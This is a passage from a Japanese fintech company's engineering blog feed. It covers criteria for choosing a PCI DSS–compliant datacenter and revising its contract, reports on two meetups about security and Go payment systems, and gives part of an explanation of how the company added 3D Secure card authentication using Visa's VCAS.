の選定をやったことがないという人はどうしたらいいかわからないんじゃないかと思います。ニッチかもしれませんがそんな状況の参考になれば幸いです。</p> <ul> <li>DC という事業体</li> <li>DC 選定の勘所</li> <li>契約書には適切な修正要求を出す</li> </ul> <p>あたりについて書きます。</p> <hr /> <h3 id="1-DC-という事業体">1. DC という事業体</h3> <p>まずDCとはなんなのか?契約するとはどういうことなのか?について整理しておきます。</p> <p>まず DC とはなんなのか?について簡単に書くと、サーバやその他機器を稼働させるための通信回線、電力、機器の設置場所を提供する施設になります。その施設のスペックはピンキリで、世界各地とのコネクティビティを売りにしている事業体もあれば、強力な電力供給能力を売りにしている事業体もあります。サービスも様々で、機器や備品のレンタルや販売も行っている事業体、機器の設置代行や業務代行を行っている事業体もあります。契約する際にはいくつかの DC とコンタクトを取って話すことになるのですがけっこう面白いです。私は DC 作業や物理設計は過去に仕事でやったことがありますが DC 契約からするのはカンムが初めてだったのでなかなか新鮮でした。</p> <p>続いてDCとの契約です。「データセンター」を検索すると、大手から小規模事業者までたくさん出てきます。これらの企業と契約して始めて DC を利用することができるようになります。これら DC 事業者が提供しているサービスを非常にざっくりいうと次の3つです。</p> <ul> <li>コロケーション: 平たく言うと場所貸しです。決まったスペースと電源設備と通信設備を利用することができます。ラック(これはご存じの人も多いと思いますが機器を収納するための鍵のついた棚)の設置は借りた側がやります。</li> <li>ハウジング: すでに備え付けられたラックを借りて、借りた側がラック内に自由にサーバやネットワーク機器を置いて運用するようなイメージです。電力や通信設備はコロケーション同様に利用することができます。</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%DB%A5%B9%A5%C6%A5%A3%A5%F3%A5%B0">ホスティング</a>: 俗に言うレンサバです。既に備え付けのサーバや機器を借りるようなイメージです。</li> </ul> <p>カンムは<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>にメインのインフラを置きつつ、特別な対応が必要な企業とは<a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%EC%CD%D1%C0%FE">専用線</a>接続する必要がありました。メインの<a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> とは <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> Direct Connect で DC に繋いで、接続先企業に回線を伸ばすという要件です。よって <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> と接続先企業との中継をするネットワーク機器を置くためのラックが1つあれば十分でした。つまり上記3択とするとハウジングで小さなラックを1つ借りるのが適切です。以下、電源・通信設備およびラックをハウジング契約する前提として書きます。</p> <h3 id="2-DC-選定の観点">2. DC 選定の観点</h3> <p>選定の観点を箇条書きにすると次の通りとなります。DC自体のスペックや扱いやすさに加えて、カンムの事業と接続先の要件を加味する必要があるためけっこうアイテムがあります。</p> <ul> <li>カンムの事業的な観点 <ul> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS に準拠しているか</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS の証明書は欲しいときにすぐに発行してもらえるか</li> <li>マルチキャリア対応していてそのキャリア回線のポートに空きがあるか</li> </ul> </li> <li>運用観点 <ul> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> との Direct Connect のしやすさ</li> <li>オフィス/家からのアクセスが良いか</li> <li>オフィスからの接続</li> <li>入館のしやすさ</li> <li>機材の持ち込み</li> <li>備え付けの設備</li> </ul> </li> <li>設備のスペックとコスト <ul> <li>ラックあたりの電力</li> <li>空調</li> <li>耐震構造</li> <li><a class="keyword" href="http://d.hatena.ne.jp/keyword/UPS">UPS</a>の有無</li> </ul> </li> </ul> <h4 id="21-カンムの事業的な観点">2.1 カンムの事業的な観点</h4> <p>カンムが事業をするにあたっての前提条件です。DCのスペックやコストに関する事を多く箇条書きにしました。しかしどんなに低コストで高品質な DC と契約できたとしてもここをクリアしないとカンムが事業を行うことができません。</p> <h5 id="211-PCI-DSS-に準拠しているか">2.1.1 <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS に準拠しているか</h5> <p>カンムはクレジットカード決済をしている事業体として、 <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS という業界セキュリティ水準に準拠していることが求められます。その範囲はカンムが契約する DC も含まれます。もちろん <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> など利用している<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%AF%A5%E9%A5%A6%A5%C9">クラウド</a>サービスや提携先の企業も例外ではありません。例えば <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> はサービスごとに <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS に準拠しているかどうかを公開しています(<a href="https://aws.amazon.com/jp/compliance/pci-dss-level-1-faqs/">https://aws.amazon.com/jp/compliance/pci-dss-level-1-faqs/</a>)。よって DC およびその運営体が <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS に準拠しているかどうか?がまず最初の選定の観点になります。</p> <h5 id="212-PCI-DSS-の証明書は欲しいときにすぐに発行してもらえるか">2.1.2 <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS の証明書は欲しいときにすぐに発行してもらえるか</h5> <p>監査機関から少なくとも年に1回 <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS の証明書の提示を求められます。上に書いた通りカンム自体の証明書だけでなく利用している DC のものも提示を求められます。その取得の手続きが比較的簡単な事業体を選びます(ました)。</p> <h5 id="213-マルチキャリア対応していてそのキャリア回線のポートに空きがあるか">2.1.3 マルチキャリア対応していてそのキャリア回線のポートに空きがあるか</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/%C0%EC%CD%D1%C0%FE">専用線</a>接続する企業から要件として、指定の回線事業者 x 2 とのマルチキャリア対応が求められていました。カンム側のDCと先方の DC 間は指定の回線を使って冗長性を担保した上で接続しますよ、と。ここでいう回線事業者というのは例えば日本国内であれば NTT 系や <a class="keyword" href="http://d.hatena.ne.jp/keyword/KDDI">KDDI</a> 系などの企業が該当します。海外企業で著名な事業者であれば Verizon, Telstra ...などになります。だいたい大丈夫だとは思うのですが、DC に指定の回線事業者の回線が来ていないということになると NG になるのでそれの確認は選定の時点で行いました。 加えてその回線事業者が接続するDC内のポートの空きの確認です。回線が来ていたとしても物理的に空きがないと使うことができません。そうなった場合はどうにかして増設してもらう必要があります(増設の可否は不明)。もしここでそのような事案になった場合プロジェクトが足止めになります。よって指定されたキャリアの回線の引き込みがされていて、かつ、それらが利用可能であること、というのを選定の条件としました。</p> <h4 id="22-運用観点">2.2 運用観点</h4> <p>実際に契約が完了して DC を使えるようになると機器の設置や検証を経て本番運用が始まります。セキュリティと<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C8%A5%EC%A1%BC%A5%C9%A5%AA%A5%D5">トレードオフ</a>になる事柄も多いのですが、DC への入館のしやすさや持ち込みに制限があるか?などの観点が必要です。</p> <h5 id="223-AWS-との-Direct-Connect-のしやすさ">2.2.3 <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> との Direct Connect のしやすさ</h5> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> の接続拠点は日本国内にいくつかあり、そこと接続しやすく、コンフィグレーションがしやすい事業者を選びます。 <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> Direct Connect は <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> 側の設定に加えて DC 側の設定も必要です。DC 側の設定はエクセルや文書で申請するような事業者もあります。初期設定だけならともかく、設定変更の際も文書でやりとりするのはあまりやりたくないと思います。DCの管理コンソールがあり、こちらの自由なタイミングで自由に設定できるところがベターです。</p> <h5 id="222-オフィス家からのアクセスが良いか">2.2.2 オフィス/家からのアクセスが良いか</h5> <p>機器の設置や接続検証を行うタイミングであったり、実際に運用が始まってからも DC に行く機会があります。物理的な距離を考慮します。のっぴきならぬ事情で遠いDCを使う必要がある場合は運用代行してくれる会社と別途契約するなど運用負荷を軽減する必要も出てきます。ただしこれはこれで <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS 的な監査が少し手間になります。</p> <h5 id="223-入館のしやすさ">2.2.3 入館のしやすさ</h5> <p>DC は入館証を持っていけばすぐ入れる施設もあれば、事前にウェブや電話で申請を行い、許可が下りるまで待つ必要がある施設もあります。運用開始後に障害発生時の対応を考慮し、入館が煩雑ではないDCを選びます。</p> <h5 id="224-機材の持ち込み">2.2.4 機材の持ち込み</h5> <p>設置する機器とは別に、<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A1%BC%A5%C8%A5%C7%A5%D0%A5%A4%A5%B9">スマートデバイス</a>などの通信機器やラップトップを持ち込めるかどうか?です。厳しいDCでは持ち込み一切禁止で持ち物検査がある施設もあります。機器を持ち込んで現地で設定を変更するときであったり、運用開始後の対応が煩わしくなると大変なので、我々の考える最低限の機材(<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%B9%A5%DE%A1%BC%A5%C8%A5%D5%A5%A9%A5%F3">スマートフォン</a>、ラップトップなど)が持ち込み可能なDCを選択します。</p> <h5 id="225-備え付けの設備">2.2.5 備え付けの設備</h5> <p>機材の持ち込みと同様にDC 内部での作業のしやすさに繋がります。施設内に <a class="keyword" href="http://d.hatena.ne.jp/keyword/wifi">wifi</a> は飛んでいるか?ドライバーやナット、ネジなどの貸し出しはあるか?など。<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C6%A5%B6%A5%EA%A5%F3%A5%B0">テザリング</a>してもいいかもしれませんが <a class="keyword" href="http://d.hatena.ne.jp/keyword/wifi">wifi</a> は欲しいところです。</p> <h4 id="23-設備のスペックとコスト">2.3 設備のスペックとコスト</h4> <p>一番気になるポイントであり、意識しやすいポイントかと思います。</p> <h5 id="231-ラックあたりの電力">2.3.1 ラックあたりの電力</h5> <p>ラックにどのくらいの電力供給があるのかを確認しておきます。お金を積めば供給電力が増える場合もあります。機器をたくさん置きたい、電力消費が激しい機器を置きたい場合は電力供給が不十分だとマシンがダウンするリスクがあります。</p> <h5 id="232-空調">2.3.2 空調</h5> <p>熱対策を確認しておきます。今時は大丈夫だと思いますが、古めの DC だったりするとちょっと熱対策に不安があるような場所もあります。ラック内に機器を置きすぎるなど利用する側の運用にもよるのですがエアフローが滞ると機器は簡単に熱落ちします。</p> <h5 id="233-耐震構造">2.3.3 耐震構造</h5> <p>耐震構造含め災害時にどのような対策が取られているのかを確認しておきます。</p> <h5 id="234-UPSの有無">2.3.4 <a class="keyword" href="http://d.hatena.ne.jp/keyword/UPS">UPS</a>の有無</h5> <p>予備電力です。災害時の生命線になります。</p> <h3 id="3-契約書には適切な修正要求を出す">3. 契約書には適切な修正要求を出す</h3> <p>さて、選定が完了したら契約書にサインして契約を締結するのですが、割とノールックサインしてしまう人も多いんじゃないかと思います。しかしよく読みましょう。例えばこちらが設備を破損したときであったり何かしでかしてしまったときの賠償金額に法外な金額(小さな会社からすると会社が飛ぶような金額)が設定されていたりします。また指定の保険会社の保険への加入が義務づけられていたりするケースもあります(ありました)。 そして基本的には借りる側が不利になるような条項が書かれています。もちろんこれは悪意があるようなものではなく貸す側の論理から考えると理解できる内容です。しかしながら適切に修正要求を出すべきです。例えば「一切の責任を負わないものとする」 -> 「一切の責任を負わないものとする。ただし乙の過失があった場合はその限りではない。」など。こうしておけば何かあったときにそこに過失はあったのか?と争うことができます。前者のままだと争う余地すらありません。私は門外漢なので法務担当者に協力してもらいながら契約書の修正を要求しました。契約書はただの紙ではないです。</p> <p>今日はここまで。いずれ <a class="keyword" href="http://d.hatena.ne.jp/keyword/AWS">AWS</a> との接続の検証やネットワーク設計について書きます。</p> <p>おわり</p> kanmu-tech 「LayerXとKanmu FinTechスタートアップセキュリティ事情」を開催しました hatenablog://entry/4207112889922932972 2022-10-04T15:56:02+09:00 2022-10-04T15:56:02+09:00 バンドルカードのソフトウェアエンジニアをしている summerwind です。最近は社内で解体屋と呼ばれています。 2022/09/30に株式会社LayerXさまと合同で「LayerXとKanmu FinTechスタートアップセキュリティ事情」というイベントを開催しました。今回のイベントでは創業当時から決済金融系の事業を行ってきた2社が、セキュリティにまつわる事例や知見を共有しました。FinTechとスタートアップの組み合わせならではの苦労や思いなどの話が聞けて、とても有意義な時間になったのではと感じています。 kanmu.connpass.com カンムからは自分を含めて2名のエンジニアが登… <p>バンドルカードのソフトウェアエンジニアをしている <a href="https://twitter.com/summerwind">summerwind</a> です。最近は社内で解体屋と呼ばれています。</p> <p>2022/09/30に株式会社LayerXさまと合同で「<a href="https://kanmu.connpass.com/event/260599/">LayerXとKanmu FinTechスタートアップセキュリティ事情</a>」というイベントを開催しました。今回のイベントでは創業当時から決済金融系の事業を行ってきた2社が、セキュリティにまつわる事例や知見を共有しました。FinTechとスタートアップの組み合わせならではの苦労や思いなどの話が聞けて、とても有意義な時間になったのではと感じています。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.connpass.com%2Fevent%2F260599%2F" title="LayerXとKanmu FinTechスタートアップセキュリティ事情 (2022/09/30 19:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.connpass.com/event/260599/">kanmu.connpass.com</a></cite></p> <p>カンムからは自分を含めて2名のエンジニアが登壇しましたので、そのセッションについても簡単にご紹介します。</p> <h4 id="カンムにおけるプロダクトセキュリティのこれまでとこれから">カンムにおけるプロダクトセキュリティのこれまでとこれから</h4> <script async class="speakerdeck-embed" data-id="469bad05e4584931bc7c2af67e585b9c" data-ratio="1.77777777777778" src="//speakerdeck.com/assets/embed.js"></script> <p>このセッションでは自分がプロダクトセキュリティ領域でカンムへの入社時からこれまでにやってきたことなどを紹介しました。こういう話はだいたい泥臭い内容になりがちなのですが、<a class="keyword" href="http://d.hatena.ne.jp/keyword/Twitter">Twitter</a> やアンケートなどで共感してもらえる方からのフィードバックをいただけたので、発表をしてみてよかったと感じています。</p> <h4 id="PCI-DSS運用とv40対応"><a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS運用とv4.0対応</h4> <script async class="speakerdeck-embed" data-id="f7690dbcb97e4c93b7599eb44e802ffa" data-ratio="1.33333333333333" src="//speakerdeck.com/assets/embed.js"></script> <p>社内で一緒に <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS の対応をやってくれている <a href="https://twitter.com/s_liva">liva</a> さんによる <a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS 運用についての紹介セッションです。Policy as Code による運用の自動化や<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%AF%A5%BF%A5%EA%A5%F3%A5%B0">リファクタリング</a>などは自分としても今後の動きが楽しみなところです。</p> <h2 id="最後に">最後に</h2> <p>今回のイベントではセキュリティに対する考え方や tfsec の導入による改善、<a class="keyword" href="http://d.hatena.ne.jp/keyword/PCI">PCI</a> DSS の運用の話まで、セキュリティをテーマに様々な興味深い話を聞くことができました。イベントにご参加いただいたみなさま、またご一緒させていただいたLayerXのみなさま、本当にありがとうございました!</p> <p>そして、カンムではプロダクト開発の知見を生かしてセキュリティを継続的に改善していくソフトウェアエンジニアを募集しています。今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう!</p> <p>▼カジュアル面談申込みはこちらから <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> kanmu-tech 「Tech Meetup 〜Goで作る決済サービス〜」を開催しました hatenablog://entry/4207112889911175316 2022-08-25T15:57:15+09:00 2022-08-25T15:59:20+09:00 こんにちは、カンムでCOOやってます achiku です。 2022/08/04に、株式会社UPSIDERさま・株式会社BASEさまと合同で「Tech Meetup 〜Goで作る決済サービス〜」というイベントを開催いたしました。200名近くの方からお申込いただき、ありがとうございました! upsider.connpass.com このイベントでは、Go言語を使って決済サービスを開発する3社が集まり、セッションやディスカッションで各社の事例や知見を共有しました。Go × 決済という共通点を持つ3社ならではの苦労や裏話を聞ける、とても有意義な時間となりました。ご一緒させていただいたUPSIDERさ… <p>こんにちは、カンムでCOOやってます <a href="https://github.com/achiku">achiku</a> です。</p> <p>2022/08/04に、株式会社UPSIDERさま・株式会社BASEさまと合同で「Tech Meetup 〜Goで作る決済サービス〜」というイベントを開催いたしました。200名近くの方からお申込いただき、ありがとうございました!</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fupsider.connpass.com%2Fevent%2F254313%2F" title="Tech Meetup 〜Goで作る決済サービス〜 (2022/08/04 19:00〜)" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://upsider.connpass.com/event/254313/">upsider.connpass.com</a></cite></p> <p>このイベントでは、Go言語を使って決済サービスを開発する3社が集まり、セッションやディスカッションで各社の事例や知見を共有しました。Go × 決済という共通点を持つ3社ならではの苦労や裏話を聞ける、とても有意義な時間となりました。ご一緒させていただいたUPSIDERさま、BASEさま、貴重なお話をありがとうございました!</p> <h2 id="セッションに登壇しました">セッションに登壇しました</h2> <p>セッションにはバックエンドエンジニアの <a href="https://twitter.com/_pongzu">@_pongzu</a> が登壇しました。</p> <p><iframe id="talk_frame_903834" class="speakerdeck-iframe" src="//speakerdeck.com/player/668e687cc52245ef89ec2dd519c6e3b6" width="710" height="532" style="aspect-ratio:710/532; border:0; padding:0; margin:0; background:transparent;" frameborder="0" allowtransparency="true" allowfullscreen="allowfullscreen" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe> <cite class="hatena-citation"><a href="https://speakerdeck.com/pongzu/godeshi-zhuang-suruburandonetutowakutofalsejie-sok-pointo">speakerdeck.com</a></cite></p> <p>Goの大きな特徴の一つである並行/並列を扱いやすい標準ライブラリを利用し、どのように<a class="keyword" href="http://d.hatena.ne.jp/keyword/TCP">TCP</a>コネクションを多重化しているかというお話です。しっかり定義された課題から始まる良い解決策でGoっぽいな〜という発表になったかと思います。</p> <h2 id="パネルディスカッションに参加しました">パネルディスカッションに参加しました</h2> <p>3社合同でのパネルディスカッションでは、自分(achiku)がモデレーターとして、バックエンドエンジニアの <a href="https://twitter.com/hiroakis_">@hiroakis_</a> がパネラーとして参加いたしました。当日は以下のトピックでディスカッションを行いました。</p> <ul> <li>各社の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A1%BC%A5%AD%A5%C6%A5%AF%A5%C1%A5%E3">アーキテクチャ</a>紹介</li> <li>Goを書いていてよかったと思うこと</li> <li>残高管理や決済などコア機能のテスト戦略</li> <li>開発チーム構成や<a class="keyword" href="http://d.hatena.ne.jp/keyword/%B3%AB%C8%AF%A5%D7%A5%ED%A5%BB%A5%B9">開発プロセス</a>で気をつけている事</li> </ul> <p>3社3様の<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A1%BC%A5%AD%A5%C6%A5%AF%A5%C1%A5%E3">アーキテクチャ</a>や工夫があるのですが、やはりそれは各社個別のコンテキストが存在しそれに対して最適な策を検討しているからだなぁとモデレーターしながら感じておりました。もう少しパネリスト間でのやり取りも発生させることができればよかったかなぁぁという反省点もありますが、ひとまず皆さんに楽しんでいただけたようで何よりです。</p> <iframe src="https://www.youtube.com/embed/XhmX0ukD49Y?enablejsapi=1" width="560" height="315" frameborder="0" allowfullscreen></iframe> <p><br><a href="https://www.youtube.com/watch?v=XhmX0ukD49Y">www.youtube.com</a></p> <h2 id="最後に">最後に</h2> <p>決済に関わるスタートアップはどんどん増加しており、その中でGoをバックエンドの言語として採用するケースも多くなってきているなと感じております。今後とも決済事業だけでなく、Goという言語のコミュニ<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C6%A5%A3%A1%BC">ティー</a>にも貢献出来るよう、引き続きアウトプット頑張っていこうと思いを新たにしました。</p> <p>今回はUPSIDERさま・BASEさま、このような機会をいただき本当にありがとうございました!</p> <p>そしてカンムでは一緒に決済サービスを開発するエンジニアを大募集です!今回のイベントをきっかけに金融業界に少しでもご興味を持った方、ぜひカジュアル面談でお話しましょう!</p> <p>▼カジュアル面談申込みはこちらから <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fteam.kanmu.co.jp%2F" title="カンムのチーム情報" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://team.kanmu.co.jp/">team.kanmu.co.jp</a></cite></p> kanmu-tech バンドルカードと Pool のカードが 3D セキュアに対応しました hatenablog://entry/4207112889892814582 2022-06-27T13:52:10+09:00 2022-06-27T14:36:45+09:00 バンドルカードの SRE をしている summerwind です。最近は A Philosophy of Software Design を読んでいます。 タイトルの通り、2022年6月21日からバンドルカードと Pool のカードが 3D セキュアに対応しました。バンドルカードではアプリですぐに発行可能なバーチャルカードを含む全てのカードで対応しているので、気軽により多くの加盟店での決済にご利用いただけるようになりました。 いつもはバンドルカードのインフラやセキュリティといった領域を担当しているのですが、3D セキュアの対応では久しぶりにバックエンドエンジニアとして自分もプロダクト開発に関わ… <p>バンドルカードの SRE をしている <a href="https://twitter.com/summerwind">summerwind</a> です。最近は A Philosophy of <a class="keyword" href="http://d.hatena.ne.jp/keyword/Software%20Design">Software Design</a> を読んでいます。</p> <p>タイトルの通り、2022年6月21日から<a href="https://vandle.jp/">バンドルカード</a>と <a href="https://pool-card.jp/">Pool</a> のカードが 3D セキュアに対応しました。バンドルカードではアプリですぐに発行可能なバーチャルカードを含む全てのカードで対応しているので、気軽により多くの加盟店での決済にご利用いただけるようになりました。</p> <p>いつもはバンドルカードのインフラやセキュリティといった領域を担当しているのですが、3D セキュアの対応では久しぶりにバックエンドエンジニアとして自分もプロダクト開発に関わったので、今回は 3D セキュアの仕組みとその開発に関する話を簡単に紹介したいと思います。</p> <h2>3D セキュアとは</h2> <p>3D セキュアは、オンラインなど非対面でクレジットカードを使用して決済をする際に、カードの所有者であることを事前に認証する仕組みです。3D セキュアを使用することで、カード情報の盗用によるオンライン上での不正利用を防止できます。ショッピングサイトなどでカード決済をする際に突然パスワードの入力を求められた、といった経験がある方も多いかもしれません。あれが 3D セキュアによる認証です。</p> <p>3D というのは三次元のことではなく3つの<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%C9%A5%E1%A5%A4%A5%F3">ドメイン</a> (Domain) すなわち、加盟店/<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラ、決済ネットワーク、イシュアの3つの立場を指しており、以下の図のようにそれぞれの立場にあるシステムが連携して本人認証をする仕組みになっています。カンムのようにカード発行をするイシュアの立場では <a class="keyword" href="http://d.hatena.ne.jp/keyword/Access">Access</a> Control Server (<a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a>) と呼ばれるシステムを用意することで 3D セキュアによる認証に対応できます。</p> <p><figure class="figure-image figure-image-fotolife" title="3D セキュアの認証フロー"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220624/20220624165229.png" width="1200" height="574" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>3D セキュアの認証フロー</figcaption></figure></p> <p>3D セキュアの最新の仕様は「<a class="keyword" href="http://d.hatena.ne.jp/keyword/EMV">EMV</a> 3-D Secure」と呼ばれており、EMVCo の<a href="https://www.emvco.com/emv-technologies/3d-secure/">公式サイト</a>で参照できるので、興味がある方はぜひ参照してみてください。</p> <h2>3D セキュアの認証フロー</h2> <p><a class="keyword" href="http://d.hatena.ne.jp/keyword/EMV">EMV</a> 3-D Secure の仕様では「Frictionless Flow」と「Challenge Flow」の2つの認証フローが定義されています。それぞれの認証フローについて簡単に説明します。</p> <h3>Frictionless Flow</h3> <p>従来の 3D セキュアの仕組みでは、本人認証時のパスワードの手間が大きく認証時に決済を諦めてしまう人が多いという課題がありました。この問題を軽減するため、<a class="keyword" href="http://d.hatena.ne.jp/keyword/EMV">EMV</a> 3-D Secure では決済時の情報に基づくリスクベースの判断をして、パスワード入力などの認証ステップなしに認証を完了させるフローに対応しています。これが Frictionless Flow です。</p> <p>カンムのようなイシュアの立場では、<a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> で加盟店/<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%A2%A5%AF%A5%EF%A5%A4%A5%A2">アクワイア</a>ラから送られてきた決済の情報などを元にリスクを分析し、追加の認証は不要と判断した場合は認証を完了させる動きをとることになります。</p> <h3>Challenge Flow</h3> <p>Frictionless Flow を実行した結果、<a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> が追加の認証が必要と判断した場合は Challenge Flow に移行します。</p> <p>Challenge Flow では決済をしようとしているユーザーが本人であるかを確認する認証フローを実行します。認証フローではまずイシュアが持つカードの発行情報に基づいて、カードの所有者に<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EF%A5%F3%A5%BF%A5%A4%A5%E0%A5%D1%A5%B9%A5%EF%A1%BC%A5%C9">ワンタイムパスワード</a>を送信します。次にカードの所有者はイシュアから送信されてきた<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EF%A5%F3%A5%BF%A5%A4%A5%E0%A5%D1%A5%B9%A5%EF%A1%BC%A5%C9">ワンタイムパスワード</a>を決済画面に入力します。<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%EF%A5%F3%A5%BF%A5%A4%A5%E0%A5%D1%A5%B9%A5%EF%A1%BC%A5%C9">ワンタイムパスワード</a>の一致が確認できたら認証は成功です。</p> <p>バンドルカードでは Challenge Flow の場合に次のような認証画面を表示しています。</p> <p><figure class="figure-image figure-image-fotolife" title="Challenge Flow の認証画面"><div class="images-row mceNonEditable"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220624/20220624164859.png" width="417" height="434" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220624/20220624164902.png" width="417" height="435" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span></div><figcaption>Challenge Flow の認証画面</figcaption></figure></p> <h2>バンドルカードと Pool における <a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a></h2> <p>バンドルカードと Pool で 3D セキュアに対応するには、イシュアの立場として <a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> を実装して用意する必要があります。しかし <a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> を<a class="keyword" href="http://d.hatena.ne.jp/keyword/%A5%D5%A5%EB%A5%B9%A5%AF%A5%E9%A5%C3%A5%C1">フルスクラッチ</a>で実装するには多くの時間とコストがかかるため、今回の対応では Visa 様が提供する <a href="https://africa.visa.com/run-your-business/visa-security/issuer-risk-solutions.html">Visa Consumer Authentication Service (VCAS)</a> を <a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> として導入しています。</p> <p>VCAS では <a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> としての機能が一通り提供されており、3D セキュアの認証フローの各種処理に必要となる情報を専用の <a class="keyword" href="http://d.hatena.ne.jp/keyword/API">API</a> を介してイシュアから VCAS に提供することで、<a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> を実装せずとも 3D セキュアに対応できる仕組みになっています。</p> <p><figure class="figure-image figure-image-fotolife" title="VCAS を ACS として使用した認証フロー"><span itemscope itemtype="http://schema.org/Photograph"><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/k/kanmu-tech/20220624/20220624172442.png" width="1200" height="479" loading="lazy" title="" class="hatena-fotolife" itemprop="image"></span><figcaption>VCAS を <a class="keyword" href="http://d.hatena.ne.jp/keyword/ACS">ACS</a> として使用した認証フロー</figcaption></figure></p> <h2>VCAS の導入とその開発</h2> <p>VCAS の導入にあたっては、バンドルカードと Pool のそれぞれで VCAS と接続するための仕組みを開発する必要がありました。ここからは開発の流れなどを簡単にふりかえって気をつけた点などを紹介してみたいと思います。</p> <h3>前提の確認と方針決め</h3> <p>まず、今回の VCAS の導入では次のような前提や制約がありました。</p> <ul> <li>Visa 様との共同プロジェクトによる開発</li> <li>ローンチまでのスケジュールが比較的がっちりと決まっている</li> <li>バンドルカードと Pool で同時に VCAS に対応する必要がある</li> <li>可能な限り早くユーザーが 3D セキュアを利用できるようにしたい</li> </ul> <p>これらの前提と制約を受け入れつつスムーズに開発を進めるために、ある程度細かい部分までの仕様は先に決めて関係者の間で合意をとりつつ、実装はバンドルカードと Pool で順番に細かく進め、得られた知見をそれぞれのプロダクトの実装に相互にフィードバックしながら品質を高めていく方針としました。</p> <h3>設計と社内レビュー</h3> <p>制約と方針に基づいて、まずは設計を固めることとしましたが、この段階では「バンドルカードと Pool で同時に VCAS に対応する」という制約が最初の課題になりました。これは単純に Pool 